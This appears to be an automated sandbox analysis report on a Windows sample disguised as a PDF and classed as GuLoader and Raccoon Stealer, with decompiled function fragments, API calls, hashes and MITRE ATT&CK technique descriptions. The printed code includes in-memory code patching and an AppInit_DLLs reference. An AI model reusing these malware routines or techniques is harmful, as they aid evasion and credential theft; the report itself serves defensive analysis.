Function 6D0EB160, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E6D0EB160(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				intOrPtr* _t11;
				signed int _t14;
				intOrPtr _t17;
				signed int _t20;
				intOrPtr _t21;
				void* _t23;
				void* _t24;
				intOrPtr _t26;

				_t11 = _a20;
				_t21 =  *((intOrPtr*)(_t11 + 4));
				_t23 = 1;
				_t17 =  *_t11;
				_t24 = _t21 - _a12;
				if(_t24 >= 0 && (_t24 > 0 || _t17 >= _a8)) {
					_t20 = _a16 + _a8;
					asm("adc eax, [ebp+0x10]");
					_t26 = _t21;
					if(_t26 <= 0 && (_t26 < 0 || _t17 <= _t20)) {
						_t14 = GetCurrentProcess();
						__imp__SymLoadModule64(_t14, 0, _a4, 0, _a8, _a12, _a16);
						if((_t14 | _t20) == 0) {
							_t23 = 0;
							E6D0EADB0(_t17, "SymLoadModule64");
						}
					}
				}
				return _t23;
			}

0x6d0eb163
0x6d0eb16a
0x6d0eb16d
0x6d0eb16e
0x6d0eb170
0x6d0eb173
0x6d0eb181
0x6d0eb184
0x6d0eb187
0x6d0eb189
0x6d0eb1a1
0x6d0eb1a8
0x6d0eb1b0
0x6d0eb1b7
0x6d0eb1b9
0x6d0eb1be
0x6d0eb1b0
0x6d0eb189
0x6d0eb1c4

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000000,?,?,?), ref: 6D0EB1A1
SymLoadModule64.DBGHELP(00000000), ref: 6D0EB1A8

Strings

SymLoadModule64, xrefs: 6D0EB1B2

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentLoadModule64Process
String ID: SymLoadModule64
API String ID: 3883536707-1984672147
Opcode ID: 1d4258c1e11a6b8e23b27502c573e6a67b80e82f7c835e59db1d45635c59100a
Instruction ID: 6301db4a280b4ff0438e13dce8f2a65adf21e145c3ef8e00c40269bd7b6fa1bc
Opcode Fuzzy Hash: 1d4258c1e11a6b8e23b27502c573e6a67b80e82f7c835e59db1d45635c59100a
Instruction Fuzzy Hash: FC01693220029AAFEB048F98DC80B9EB7AAFF497A1FA58051FE45D7154D770A4608B95

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E1BA2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0E1BA2(void* __ecx) {
				short* _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* _t14;
				void* _t15;
				void* _t17;
				intOrPtr* _t22;
				void* _t28;
				void* _t29;

				_t28 = __ecx;
				_t29 = 0;
				if( *((intOrPtr*)(__ecx + 0x44)) > 0) {
					_t22 = __ecx + 4;
					do {
						_t15 =  *_t22;
						_v16 = _v16 & 0x00000000;
						_v8 = _t15;
						_v28 = _t15;
						_v24 = 2;
						_v20 = 0x40;
						_v12 = 0;
						if(E6D0E27B5( &_v28) != 0) {
							 *_v8 = 0xff8b;
							FlushInstructionCache(GetCurrentProcess(), 0, 0);
						}
						_t17 = E6D0E1ACD( &_v28);
						_t29 = _t29 + 1;
						_t22 = _t22 + 4;
					} while (_t29 <  *((intOrPtr*)(_t28 + 0x44)));
					return _t17;
				}
				return _t14;
			}

0x6d0e1baa
0x6d0e1bac
0x6d0e1bb1
0x6d0e1bb4
0x6d0e1bb7
0x6d0e1bb7
0x6d0e1bbc
0x6d0e1bc0
0x6d0e1bc3
0x6d0e1bc6
0x6d0e1bcd
0x6d0e1bd4
0x6d0e1bdf
0x6d0e1bed
0x6d0e1bf7
0x6d0e1bf7
0x6d0e1c00
0x6d0e1c05
0x6d0e1c06
0x6d0e1c09
0x00000000
0x6d0e1c0e
0x6d0e1c14

APIs

Part of subcall function 6D0E27B5: GetCurrentProcess.KERNEL32(?,?,?,?,?,6D0E1EDC,00000001), ref: 6D0E27C4
Part of subcall function 6D0E27B5: VirtualProtectEx.KERNEL32(00000000), ref: 6D0E27CB

GetCurrentProcess.KERNEL32(00000000,00000000), ref: 6D0E1BF0
FlushInstructionCache.KERNEL32(00000000), ref: 6D0E1BF7

Strings

@, xrefs: 6D0E1BCD

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentProcess$CacheFlushInstructionProtectVirtual
String ID: @
API String ID: 1457589789-2766056989
Opcode ID: e9f2847a5724815a47186538c00de8769b0ac1f676210ae64df1ba23ee81ae8c
Instruction ID: f8451e1b9c7382e969c927cacb457ddb9d5015bed05b54f2e037c8152dfb24cc
Opcode Fuzzy Hash: e9f2847a5724815a47186538c00de8769b0ac1f676210ae64df1ba23ee81ae8c
Instruction Fuzzy Hash: 45018B3180421AAFEF10DF98D895BEEBBB4FF05349F100169DA04A7280E7756905CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E1226, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E6D0E1226(void* __eflags, void** _a4, signed int _a8) {
				void* __ebx;
				void* __esi;
				void** _t12;
				int _t17;
				signed int _t18;
				void* _t21;
				void* _t22;
				void* _t23;

				_t18 = 2;
				_t17 =  ~(0 | __eflags > 0x00000000) | _a8 * _t18;
				_push(_t17);
				_t23 = E6D0E9300(_t17, _t21, _t22);
				if(_t23 == 0) {
					_t23 = 0;
					__eflags = 0;
				} else {
					memset(_t23, 0, _t17);
				}
				_t12 = _a4;
				 *_t12 = _t23;
				return _t12;
			}

0x6d0e1232
0x6d0e123a
0x6d0e123c
0x6d0e1242
0x6d0e1247
0x6d0e1257
0x6d0e1257
0x6d0e1249
0x6d0e124d
0x6d0e1252
0x6d0e1259
0x6d0e125c
0x6d0e1261

APIs

moz_xmalloc.MOZGLUE(00000000,AppInit_DLLs,00000001,?,6D0E2538,?,?,?,6D100138,00000001), ref: 6D0E123D

Part of subcall function 6D0E9300: malloc.MOZGLUE(?,?,6D0E2424,00000008), ref: 6D0E9306

memset.VCRUNTIME140(00000000,00000000,00000000,AppInit_DLLs,00000001,?,6D0E2538,?,?,?,6D100138,00000001), ref: 6D0E124D

Strings

AppInit_DLLs, xrefs: 6D0E122D

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: mallocmemsetmoz_xmalloc
String ID: AppInit_DLLs
API String ID: 2469938690-2747295988
Opcode ID: 5cecf0217b17640b5de80ce12fcaf262ee48fa529343db825ff5d439ff99814e
Instruction ID: 0ba0669f8c3bab48713f92208f53c3717617fc8c087520dec4388a1897418525
Opcode Fuzzy Hash: 5cecf0217b17640b5de80ce12fcaf262ee48fa529343db825ff5d439ff99814e
Instruction Fuzzy Hash: BCE086B36463282EF61596E8ACC5F6B779CDB06AE4F118125FF099B280D6609C1046D2

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E4B38, Relevance: 5.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6D0E4B38(intOrPtr __ecx, void* __eflags, void* _a4, char _a8) {
				intOrPtr _v8;
				int _v12;
				char _v16;
				intOrPtr _t22;
				void* _t28;
				void* _t32;
				unsigned int _t38;
				intOrPtr _t45;
				void _t46;
				void* _t52;
				int _t53;
				struct _CRITICAL_SECTION* _t54;
				void* _t55;

				_t45 = __ecx;
				_v8 = __ecx;
				E6D0E33B9( &_v16, _t52, _a4);
				_t53 = _v12;
				_t22 = _v16;
				if(_t22 == 0) {
					_t28 = ((E6D0E80CF(_t53 >> 3) & 0x000000ff) << 5) + 0x48;
					L5:
					_pop(_t49);
					L6:
					_t6 = _t45 + 0xc; // 0xd
					_t54 = _t6;
					_a4 = _t28 + _t45;
					EnterCriticalSection(_t54);
					_t30 = _a4;
					_t46 =  *_a4;
					if(_t46 == 0 ||  *((intOrPtr*)(_t46 + 8)) == 0) {
						_t49 = _v8;
						_t46 = E6D0E3B18(_v8, _t30);
						_t30 = _a4;
						 *_a4 = _t46;
					}
					if(_t46 != 0) {
						_t32 = E6D0E78AE(_t49, _t46, _t30);
						 *((intOrPtr*)(_t46 + 8)) =  *((intOrPtr*)(_t46 + 8)) - 1;
						_a4 = _t32;
						_push(_t54);
						if(_t32 == 0) {
							goto L11;
						}
						 *((intOrPtr*)(_v8 + 0x2c)) =  *((intOrPtr*)(_v8 + 0x2c)) + _t53;
						LeaveCriticalSection(??);
						_t55 = _a4;
						if(_a8 != 0) {
							memset(_t55, 0, _t53);
						}
						return _t55;
					} else {
						_push(_t54);
						L11:
						LeaveCriticalSection();
						return 0;
					}
				}
				_t38 = _t53;
				if(_t22 == 1) {
					_t28 = (_t38 >> 4 << 5) + 0x48;
					goto L6;
				}
				_t28 = ((E6D0E80CF(_t38 >> 9) & 0x000000ff) << 5) + 0x448;
				goto L5;
			}

0x6d0e4b44
0x6d0e4b49
0x6d0e4b4c
0x6d0e4b54
0x6d0e4b57
0x6d0e4b5a
0x6d0e4b95
0x6d0e4b98
0x6d0e4b98
0x6d0e4b99
0x6d0e4b9b
0x6d0e4b9b
0x6d0e4b9f
0x6d0e4ba2
0x6d0e4ba8
0x6d0e4bab
0x6d0e4baf
0x6d0e4bb7
0x6d0e4bc0
0x6d0e4bc2
0x6d0e4bc5
0x6d0e4bc5
0x6d0e4bc9
0x6d0e4bd8
0x6d0e4bdd
0x6d0e4be0
0x6d0e4be5
0x6d0e4be8
0x00000000
0x00000000
0x6d0e4bed
0x6d0e4bf0
0x6d0e4bfa
0x6d0e4bfd
0x6d0e4c03
0x6d0e4c08
0x00000000
0x6d0e4bcb
0x6d0e4bcb
0x6d0e4bcc
0x6d0e4bcc
0x00000000
0x6d0e4bd2
0x6d0e4bc9
0x6d0e4b5f
0x6d0e4b61
0x6d0e4b7f
0x00000000
0x6d0e4b7f
0x6d0e4b72
0x00000000

APIs

EnterCriticalSection.KERNEL32(0000000D,00000000,?,00000000,00000000), ref: 6D0E4BA2
LeaveCriticalSection.KERNEL32(0000000D,00000000,?,00000000,00000000), ref: 6D0E4BCC
LeaveCriticalSection.KERNEL32(0000000D,00000000,?,00000000,00000000), ref: 6D0E4BF0
memset.VCRUNTIME140(00000000,00000000,00000000,?,00000000,00000000), ref: 6D0E4C03

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$Entermemset
String ID:
API String ID: 2581898777-0
Opcode ID: 07e29ed3754616d35cfa6031b7206361f5625135f3a37424a9c061599c9c12b2
Instruction ID: 8b95902be5728873f5a376b437cb9423345505c68f8d2561b3b8c4ff20b3ecc6
Opcode Fuzzy Hash: 07e29ed3754616d35cfa6031b7206361f5625135f3a37424a9c061599c9c12b2
Instruction Fuzzy Hash: 2821D6B2A00219BFFB009FA5D884BAD7BB8EF493E0F118166ED04DB241D734DA41C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0ED643, Relevance: 5.1, APIs: 4, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E6D0ED643(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a4, void* _a12, int _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				char _v20;
				signed int _t31;
				intOrPtr _t34;
				void* _t35;
				void* _t46;
				intOrPtr _t50;
				void* _t54;
				intOrPtr _t56;
				void* _t58;
				void* _t61;
				intOrPtr _t64;
				int _t65;
				int _t67;
				void* _t68;

				_t54 = _a4;
				_t46 = __ecx;
				_v16 = __ecx;
				_t50 =  *((intOrPtr*)(__ecx + 0x10));
				_v12 = _t50;
				if(0x7fffffff - _t50 < _t54) {
					E6D0EE468(_t50);
					asm("int3");
					asm("movsd xmm0, [ebp+0x8]");
					_t31 =  &_v20;
					asm("movsd [ebp+0x8], xmm0");
					__imp___dtest(_t31, _t68);
					return _t31 & 0xffffff00 | _t31 <= 0x00000000;
				} else {
					_t56 = _t50 + _t54;
					_v8 =  *((intOrPtr*)(__ecx + 0x14));
					_t34 = E6D0EE2FF(__ecx, _t56);
					_t8 = _t34 + 1; // 0x1
					_t35 = E6D0E2949(_t8, 1, 1);
					 *((intOrPtr*)(_t46 + 0x14)) = _t34;
					_t64 = _v12;
					_a4 = _t35;
					 *((intOrPtr*)(_t46 + 0x10)) = _t56;
					_push(_t64);
					if(_v8 < 0x10) {
						memcpy(_t35, _t46, ??);
						_t58 = _a4 + _t64;
						_t65 = _a16;
						memcpy(_t58, _a12, _t65);
						 *((char*)(_t58 + _t65)) = 0;
					} else {
						memcpy(_t35,  *_t46, ??);
						_t61 = _a4 + _t64;
						_t67 = _a16;
						memcpy(_t61, _a12, _t67);
						 *((char*)(_t61 + _t67)) = 0;
						E6D0E29EE(_v8 + 1,  *_t46, _v8 + 1, 1);
						_t46 = _v16;
					}
					 *_t46 = _a4;
					return _t46;
				}
			}

0x6d0ed649
0x6d0ed652
0x6d0ed656
0x6d0ed659
0x6d0ed65e
0x6d0ed663
0x6d0ed703
0x6d0ed708
0x6d0ed70c
0x6d0ed711
0x6d0ed715
0x6d0ed71a
0x6d0ed728
0x6d0ed669
0x6d0ed66c
0x6d0ed672
0x6d0ed675
0x6d0ed680
0x6d0ed684
0x6d0ed68c
0x6d0ed693
0x6d0ed696
0x6d0ed699
0x6d0ed69c
0x6d0ed69d
0x6d0ed6d5
0x6d0ed6dd
0x6d0ed6df
0x6d0ed6e7
0x6d0ed6ef
0x6d0ed69f
0x6d0ed6a3
0x6d0ed6ab
0x6d0ed6ad
0x6d0ed6b5
0x6d0ed6c0
0x6d0ed6c6
0x6d0ed6cb
0x6d0ed6ce
0x6d0ed6f7
0x6d0ed700
0x6d0ed700

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 6D0ED6A3
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,?,?), ref: 6D0ED6B5
memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 6D0ED6D5
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,?,?), ref: 6D0ED6E7

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: d661280a88a33e489f690daabdf2904f61e6b4b640e57ffecad323c9465dd29d
Instruction ID: bfad26f320c541ed4aa5dd803f1e42dfc191e1d024a4a2f4151d3e9d82151b4f
Opcode Fuzzy Hash: d661280a88a33e489f690daabdf2904f61e6b4b640e57ffecad323c9465dd29d
Instruction Fuzzy Hash: 4F21A472904219AFEB10DF69C880B9F7BA9FF49354F114169F908AB241D771E91187E1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: GuLoader

Threatname: Raccoon Stealer

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Function 00404380, Relevance: 2.3, APIs: 1, Instructions: 1052
memoryCOMMONCrypto

Function 00404538, Relevance: 2.2, APIs: 1, Instructions: 987
memoryCOMMONCrypto

Function 004044C9, Relevance: 2.2, APIs: 1, Instructions: 976
COMMONCrypto

Function 0040461C, Relevance: 2.2, APIs: 1, Instructions: 912
memoryCOMMONCrypto

Function 0040468B, Relevance: 2.1, APIs: 1, Instructions: 881
memoryCOMMONCrypto